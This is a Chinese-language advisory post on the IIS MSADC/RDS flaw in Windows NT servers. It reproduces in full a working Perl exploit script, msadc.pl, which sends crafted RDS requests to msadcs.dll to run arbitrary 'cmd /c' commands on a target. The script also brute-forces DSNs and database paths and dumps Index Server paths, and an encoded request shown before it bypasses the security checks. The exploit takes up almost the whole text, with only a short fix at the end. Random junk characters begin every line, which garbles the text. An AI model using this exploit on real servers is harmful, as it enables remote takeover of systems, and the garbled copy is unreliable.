IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
?Z4%u8Krvz _~D#?cFY6 涉及程序：
-j2y#aP Microsoft NT server
=9`UcTSi6p (2QfH$HEk 描述：
>qOj^WO~ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
.)Pul|)d ]zCD1 *) 详细：
QS n18V>{ 如果你没有时间读详细内容的话，就删除:
x]`@%8Sm c:\Program Files\Common Files\System\Msadc\msadcs.dll
@HSK[[? 有关的安全问题就没有了。
;< ;~;od*/ Vp0_R9oQ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
#U7pT!F x ^nNpT!o 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
I.(@#v7T 关于利用ODBC远程漏洞的描述，请参看:
`m8WLj Pa+_{9 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm !f&h VLs0 ` u7^r^>A 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
_ WPt
zL http://www.microsoft.com/security/bulletins/MS99-025faq.asp $uJc/ U 8p %MFD 这里不再论述。
=yM%#{t&W 80 T2EN:$ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
lUA-ug! ^ WC37=8mA /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
<%`Rku 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
:<k
(y?GB ZBFn km][QEXs% #将下面这段保存为txt文件，然后: "perl -x 文件名"
~(yW#'G L|:C Q #!perl
P,a9B2 #
om9'A=ZU # MSADC/RDS 'usage' (aka exploit) script
e= s85! #
c#`IF6qj # by rain.forest.puppy
dFh yT.Y? #
vF pKkS343 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
7jQVm{{. # beta test and find errors!
wHQ$xO;vD' =au!rda use Socket; use Getopt::Std;
3&5b!Y getopts("e:vd:h:XR", \%args);
o)n)Z~ D/ sYH0.V$ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
A>e-eD xi q8-hbWNm4 if (!defined $args{h} && !defined $args{R}) {
[^bq?w print qq~
oyY
z3X Usage: msadc.pl -h <host> { -d <delay> -X -v }
VCiq'LOR,< -h <host> = host you want to scan (ip or domain)
@D= %J!!* -d <seconds> = delay between calls, default 1 second
5*-RIs! 2 -X = dump Index Server path table, if available
m"n" 1;o= -v = verbose
c3ru4o*K -e = external dictionary file for step 5
:g'
'GqGZ }&v-<qC^ Or a -R will resume a command session
HwZl"!;Mry & WL::gy_S ~; exit;}
^k$B x_{ ( xWsyo(4 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
rIYO (}Fl if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
`Mbs6AJ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
%n8CK-> if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
6OAE AIh $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
)ZB Nw{nh if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
g6P^ JW}. {^(uoB C/ if (!defined $args{R}){ $ret = &has_msadc;
TF5jTpGq die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
-K(d]-yv Zlh 2qq print "Please type the NT commandline you want to run (cmd /c assumed):\n"
D)DD 6 . "cmd /c ";
S@S4<R1{\ $in=<STDIN>; chomp $in;
ys>n%24qP $command="cmd /c " . $in ;
'UxI-L t /Z!$b D if (defined $args{R}) {&load; exit;}
@9n|5.i w0Ex} print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
0'.z|J g= &try_btcustmr;
jF
j'6LT9/ iWC}\&i print "\nStep 2: Trying to make our own DSN...";
X am8h &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
|e+3d3T35 s3nt2$=:t print "\nStep 3: Trying known DSNs...";
"\`Fu &known_dsn;
c }|.U DTM(SN8R+n print "\nStep 4: Trying known .mdbs...";
$d]) >4eQ &known_mdb;
a#% *H
D.%%D %AdB if (defined $args{e}){
&!O?h/&X3 print "\nStep 5: Trying dictionary of DSN names...";
0*tnJB &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
MN5}}@ "v`q%(TA print "Sorry Charley...maybe next time?\n";
mAGD qz>f exit;
w+)wrJTtm cn/ &QA" ##############################################################################
~6Fh ,S1? 8-7Ml 3G* sub sendraw { # ripped and modded from whisker
EW vhT]<0 sleep($delay); # it's a DoS on the server! At least on mine...
4&%H;Q my ($pstr)=@_;
\}u/0UF97 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
, %8)I(" die("Socket problems\n");
aG ~zMO_)] if(connect(S,pack "SnA4x8",2,80,$target)){
?I? ~B Wu select(S); $|=1;
kONn7Itbu print $pstr; my @in=<S>;
7][fciZN select(STDOUT); close(S);
b p}97ZQ return @in;
t?)]xS) } else { die("Can't connect...\n"); }}
<ta{)}IN^ y= f. ; ##############################################################################
a73VDQr I .m8l\h ^3 sub make_header { # make the HTTP request
$IX(a4' my $msadc=<<EOT
ub9[!}r't POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
4q7H User-Agent: ACTIVEDATA
4|I;z Host: $ip
;r~1TUKb Content-Length: $clen
%saP>]o Connection: Keep-Alive
$6J22m!S4n lxgfi@@+h ADCClientVersion:01.06
| Z2_W/ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
`8O Bw NF4(+E9g --!ADM!ROX!YOUR!WORLD!
7 kA+F +f Content-Type: application/x-varg
~vA8I#. Content-Length: $reqlen
zjcSn7iu f{O-\ EOT
)m8Gbk j< ; $msadc=~s/\n/\r\n/g;
ar,v/l>d4N return $msadc;}
SFtcO qNHI$r' ##############################################################################
l<4P">M!. ~,KrL(jC sub make_req { # make the RDS request
%3TioM[B my ($switch, $p1, $p2)=@_;
.>[l @x" my $req=""; my $t1, $t2, $query, $dsn;
"M/) LXn:0 Q(aNa !
if ($switch==1){ # this is the btcustmr.mdb query
/ F"eqMN $query="Select * from Customers where City=" . make_shell();
r r\u)D#) $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$M0l
(htR $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Sw; kUJ Fq <J xamR elsif ($switch==2){ # this is general make table query
yS 4VgP'W $query="create table AZZ (B int, C varchar(10))";
i M
MKA0JM $dsn="$p1";}
j7a }<\ lg2I|Z6DH elsif ($switch==3){ # this is general exploit table query
[\<#iRcP $query="select * from AZZ where C=" . make_shell();
vL[IVBG^ $dsn="$p1";}
R2{]R&wtn0 [_3& elsif ($switch==4){ # attempt to hork file info from index server
Zos .W S# $query="select path from scope()";
0QPY+6 $dsn="Provider=MSIDXS;";}
Ja 5od jV Oq/o elsif ($switch==5){ # bad query
L>g6
9D ! $query="select";
C{nk,j
L $dsn="$p1";}
Akc
|E!V LH+ Bu%s $t1= make_unicode($query);
4|5;nxkGm8 $t2= make_unicode($dsn);
\4j_K*V $req = "\x02\x00\x03\x00";
_w %:PnO $req.= "\x08\x00" . pack ("S1", length($t1));
??P\v0E $req.= "\x00\x00" . $t1 ;
! t~tIJ>6 $req.= "\x08\x00" . pack ("S1", length($t2));
L
aA<` $req.= "\x00\x00" . $t2 ;
1'(";
0I $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
.{? ; #Cdn return $req;}
W-|C K&1 <P0 P *>M ##############################################################################
eg?p )| * HHL a sub make_shell { # this makes the shell() statement
[:(O`# return "'|shell(\"$command\")|'";}
aZ{ l6 [PiMu,O[v ##############################################################################
Ah@e9`_r [Y.JC' F# sub make_unicode { # quick little function to convert to unicode
h `O$L_Z my ($in)=@_; my $out;
'-n
Iy$> for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
*>zOWocxD return $out;}
|&-*&)iD|w D$ H&^,? N ##############################################################################
''q;yKpaz Eul3 {+] sub rdo_success { # checks for RDO return success (this is kludge)
s 72yu} my (@in) = @_; my $base=content_start(@in);
Ei+lVLoC if($in[$base]=~/multipart\/mixed/){
ht6}v<x.eA return 1 if( $in[$base+10]=~/^\x09\x00/ );}
2G 5|J{4w return 0;}
=N\$$3m?
KVEc:<|x ##############################################################################
_99 +Vjy h:C:opa-= sub make_dsn { # this makes a DSN for us
L>WxAeyu1K my @drives=("c","d","e","f");
Bfdfw + print "\nMaking DSN: ";
>$CNR*}@ foreach $drive (@drives) {
~l] w=[
z print "$drive: ";
[N %InsA9k my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Ez-AQ' "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
bf1$:09 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
0LzS #J+ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
CKFr9 bT{ return 0 if $2 eq "404"; # not found/doesn't exist
Iix:Y} if($2 eq "200") {
{&D$U'ye foreach $line (@results) {
. uGne
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
, \3Cq2h } return 0;}
Q h Rj*, <6hs<qXqi ##############################################################################
nTs\zikP g[@0H= sub verify_exists {
Ge?DD,a c my ($page)=@_;
G x4uf my @results=sendraw("GET $page HTTP/1.0\n\n");
B%tj-h(a return $results[0];}
&dj/Dq@ Gf.xr%mUZr ##############################################################################
nZL!}3@< ]c 'EJu
sub try_btcustmr {
']c;$wP my @drives=("c","d","e","f");
;QCGl$8A my @dirs=("winnt","winnt35","winnt351","win","windows");
=u0a/2u|
&,Loq r foreach $dir (@dirs) {
?*kB>U9e print "$dir -> "; # fun status so you can see progress
Er$&}9G+- foreach $drive (@drives) {
?/hS 1yD; print "$drive: "; # ditto
x#5[i;-c $reqlen=length( make_req(1,$drive,$dir) ) - 28;
n[y^S3}%; $reqlenlen=length( "$reqlen" );
S{]3e-? $clen= 206 + $reqlenlen + $reqlen;
*> W6,F7 H>]*<2(=- my @results=sendraw(make_header() . make_req(1,$drive,$dir));
x N>\t& c if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
n 4XkhY| else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Nknd8 >Hy+ Kc 1w[EQ ##############################################################################
=)i^E9 Y Kp@ n8A sub odbc_error {
RhF< {U. my (@in)=@_; my $base;
mKV31wvK} my $base = content_start(@in);
p K_zq if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
.) ,9a , $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
'zMmJl}\vd $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
j1+I_ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
XS^du{ai return $in[$base+4].$in[$base+5].$in[$base+6];}
V8o,
e print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
{IBbN05 ; print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
(~F}O $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
J &=5h.G$ S}0-2T[ ##############################################################################
}lJ|nl`c `2V{]F sub verbose {
8<Yv:8%B6 my ($in)=@_;
>
9z-/e return if !$verbose;
4 PU@W o print STDOUT "\n$in\n";}
D0S^Msk9L )ytP$,r![S ##############################################################################
:AuK Q`c 1{cF/ :o sub save {
lSd tw b my ($p1, $p2, $p3, $p4)=@_;
j 7O!uUQQ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
#% OS=.V print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
v!<FeL W close OUT;}
TOSk+ 2 P o2]Np~`g, ##############################################################################
+mKII>{ ;r]!
qv : sub load {
6 9uDc my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
X
)
=-a open(IN,"<rds.save") || die("Couldn't open rds.save\n");
aGE}
EK } @p=<IN>; close(IN);
vt(n: Xk $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
PT&qys 2k $target= inet_aton($ip) || die("inet_aton problems");
0s}gg[lj print "Resuming to $ip ...";
{ynI]Wj`L $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
+Bt%W%_ X if($p[1]==1) {
Sv>CVp* $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
PqyR,Bcx0 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Y1qbu~! my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
~G ^+.>j if (rdo_success(@results)){print "Success!\n";}
D`B*+ else { print "failed\n"; verbose(odbc_error(@results));}}
[fkt3fS elsif ($p[1]==3){
| -Gb Hfz if(run_query("$p[3]")){
0BjP|API print "Success!\n";} else { print "failed\n"; }}
QT1oU P#* elsif ($p[1]==4){
Q4N0j' QA if(run_query($drvst . "$p[3]")){
MfFmJ7>Bg print "Success!\n"; } else { print "failed\n"; }}
1O)m(0tb[ exit;}
7( LB} OH
88d: ##############################################################################
y=SpIbn{ Y~lOkH[z sub create_table {
UK @hnQU8` my ($in)=@_;
EW]8k@&g $reqlen=length( make_req(2,$in,"") ) - 28;
w5Ucj*A\ $reqlenlen=length( "$reqlen" );
%5Elj<eHZ $clen= 206 + $reqlenlen + $reqlen;
d1*0?G TT my @results=sendraw(make_header() . make_req(2,$in,""));
4}YHg&@\d% return 1 if rdo_success(@results);
<
r b5' my $temp= odbc_error(@results); verbose($temp);
+tYs kx/ return 1 if $temp=~/Table 'AZZ' already exists/;
EzCi%>q return 0;}
YsTF10 4QNwu7TeR ##############################################################################
4!'4 l =jO kO/;lrwC sub known_dsn {
'^2 b C # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
"Vwk&~B% my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
[>Q zT"= "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
AX )dZdd "banner", "banners", "ads", "ADCDemo", "ADCTest");
BBl9<ne$ Fj <a;oV foreach $dSn (@dsns) {
7~D5Gy print ".";
x:]_z.5 next if (!is_access("DSN=$dSn"));
H3ob
8+J if(create_table("DSN=$dSn")){
bD 1IY1 print "$dSn successful\n";
@_;vE(!5 if(run_query("DSN=$dSn")){
o O1Fw1Y print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
i ^}DIx{ print "Something's borked. Use verbose next time\n";}}} print "\n";}
:pP l|" 6WLq>Jo ##############################################################################
de"+ ABR D;DI8.4`N sub is_access {
dFnu&u" my ($in)=@_;
P>*`<$FR $reqlen=length( make_req(5,$in,"") ) - 28;
`DP4u\6_ $reqlenlen=length( "$reqlen" );
3.?oG5 P# $clen= 206 + $reqlenlen + $reqlen;
x$b Cbg my @results=sendraw(make_header() . make_req(5,$in,""));
_ukBp*u my $temp= odbc_error(@results);
r"KW\HN8 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
>T29kgF2 return 0;}
7 /DDQ >?$qKu ##############################################################################
{r?Ly1 5 M_;hfpJZ sub run_query {
BUla2p my ($in)=@_;
95tHi re $reqlen=length( make_req(3,$in,"") ) - 28;
:Ym FQ>e? $reqlenlen=length( "$reqlen" );
9 NC'iFQ# $clen= 206 + $reqlenlen + $reqlen;
Novn#0a my @results=sendraw(make_header() . make_req(3,$in,""));
QW wEfL return 1 if rdo_success(@results);
z'Fu} ho my $temp= odbc_error(@results); verbose($temp);
<r8s= <: return 0;}
2wYY0=k2 hOcVxSc. ##############################################################################
glNXamo {
%af sub known_mdb {
- I j my @drives=("c","d","e","f","g");
m S-{AK my @dirs=("winnt","winnt35","winnt351","win","windows");
1jj.oa] my $dir, $drive, $mdb;
R"JT+m my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
(V8lmp-F {F*81q\ # this is sparse, because I don't know of many
Q $^Kf]pD my @sysmdbs=( "\\catroot\\icatalog.mdb",
fq[,9lK "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
9J f. Ls "\\system32\\certmdb.mdb",
<\5E{/7Tl "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
:c&F\Q= pQBhheiM my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
9%bqY9NFd "\\cfusion\\cfapps\\forums\\forums_.mdb",
OjY#xO +' "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
/y5a~3 "\\cfusion\\cfapps\\security\\realm_.mdb",
/m*+N9 ) "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Z E},x U % "\\cfusion\\database\\cfexamples.mdb",
Q-$EBNz "\\cfusion\\database\\cfsnippets.mdb",
E&2mFg "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
FZJ sZeO "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
sf Ey "\\cfusion\\brighttiger\\database\\cleam.mdb",
rp,PhS "\\cfusion\\database\\smpolicy.mdb",
.h>tef "\\cfusion\\database\cypress.mdb",
7@9R^,M4: "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
h#I]gHQK "\\website\\cgi-win\\dbsample.mdb",
/Os;, g "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
@:G#[>nKe "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
L ]D l }z ); #these are just
soB5sFt&] foreach $drive (@drives) {
9uA2M! ~i2 foreach $dir (@dirs){
Zd[6-/-: foreach $mdb (@sysmdbs) {
)?,X\/5 print ".";
WH 0$v#8`v if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
. ^JsnP print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
)R9QJSe if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
vip&
b} u print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
vKcc | # } else { print "Something's borked. Use verbose next time\n"; }}}}}
ZNTOI]P& 1
c4I`#_v foreach $drive (@drives) {
~z*A%vp6ER foreach $mdb (@mdbs) {
orr6._xw print ".";
8>~\R=SC if(create_table($drv . $drive . $dir . $mdb)){
$_&gT.> print "\n" . $drive . $dir . $mdb . " successful\n";
VA@t8H, if(run_query($drv . $drive . $dir . $mdb)){
#~@Cl9[)D print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
<+${gu?^ } else { print "Something's borked. Use verbose next time\n"; }}}}
Qo \;) }
lG!We'? `F
TA{ba ##############################################################################
q.g0Oz@ z aYPD4yX"/ sub hork_idx {
v`KYhqTUl print "\nAttempting to dump Index Server tables...\n";
\>GHc} print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
aMycvYzH $reqlen=length( make_req(4,"","") ) - 28;
wT+b|K $reqlenlen=length( "$reqlen" );
n*GsM6Y& $clen= 206 + $reqlenlen + $reqlen;
bpWEF b'f my @results=sendraw2(make_header() . make_req(4,"",""));
BF(.^oh"n0 if (rdo_success(@results)){
Lb%Wz*Fa%! my $max=@results; my $c; my %d;
uS,XQy2 for($c=19; $c<$max; $c++){
VsMTzGr $results[$c]=~s/\x00//g;
Ju 0 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
lQnqPQY $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
B&k"B?9mL $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
/qX=rlQ/ n $d{"$1$2"}="";}
s.uV,E*wu foreach $c (keys %d){ print "$c\n"; }
|o I] } else {print "Index server doesn't seem to be installed.\n"; }}
$bT<8:g P% ZCACz V ##############################################################################
~^pV>>LX| 1{7*0cv$iL sub dsn_dict {
(*\*7dIo open(IN, "<$args{e}") || die("Can't open external dictionary\n");
v08Xe*gNU while(<IN>){
;`MKi5g $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
W|aFEY next if (!is_access("DSN=$dSn"));
57 eA (uI if(create_table("DSN=$dSn")){
5 U{}A\q print "$dSn successful\n";
WTP~MJ#C if(run_query("DSN=$dSn")){
l^*'W(% print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
gx)!0n; print "Something's borked. Use verbose next time\n";}}}
r @
IyK% print "\n"; close(IN);}
@z1Yj"^Pm gu~F(Fb' ##############################################################################
1'{A,! *D$[@-7 sub sendraw2 { # ripped and modded from whisker
mUW4d3tE sleep($delay); # it's a DoS on the server! At least on mine...
n d)bRB my ($pstr)=@_;
iO_6>&( socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
kX)Xo`^Ys die("Socket problems\n");
2PrUI;J$ if(connect(S,pack "SnA4x8",2,80,$target)){
.W)%*~ O!; print "Connected. Getting data";
|X$O'Gf#n open(OUT,">raw.out"); my @in;
5 bKm)|4z6 select(S); $|=1; print $pstr;
bF
X0UE> while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
r#CQCq close(OUT); select(STDOUT); close(S); return @in;
P5^<c\Mr,Y } else { die("Can't connect...\n"); }}
chr^>%Q_ D[ -Gzqh ##############################################################################
hLf<-NM 7 P$>T sub content_start { # this will take in the server headers
xJ18M@" j my (@in)=@_; my $c;
i{
" g 7 for ($c=1;$c<500;$c++) {
L]C|&K P if($in[$c] =~/^\x0d\x0a/){
|wFfVDp if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
m $X0O_*A else { return $c+1; }}}
qz
.{[ l return -1;} # it should never get here actually
+7]]=e<[ E g~i%*u,Y< ##############################################################################
FnFJw;:,{ Z* Fxr;)d sub funky {
zJ2dPp~u my (@in)=@_; my $error=odbc_error(@in);
aX'R&R if($error=~/ADO could not find the specified provider/){
9nrH
6] print "\nServer returned an ADO miscofiguration message\nAborting.\n";
t kJw}W1@ exit;}
KDODUohC if($error=~/A Handler is required/){
a*4l!- 7 print "\nServer has custom handler filters (they most likely are patched)\n";
2MapB* exit;}
n%J {Tcn6 if($error=~/specified Handler has denied Access/){
!b0A NIp print "\nServer has custom handler filters (they most likely are patched)\n";
U)n+j}vi exit;}}
O*8 .kqlgt `Z 3p( G ##############################################################################
A *r6 &2EimP sub has_msadc {
k15B5 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
iVg3=R)[1 my $base=content_start(@results);
Pl}> return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
n\ yDMY return 0;}
zFn-V EJ) '%2q'LqSA ########################
`?f Y!5BA >*A"tk#oR AD , 解决方案：
y@ 'm D*z 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
B7 ^*xskH 2、移除web 目录: /msadc
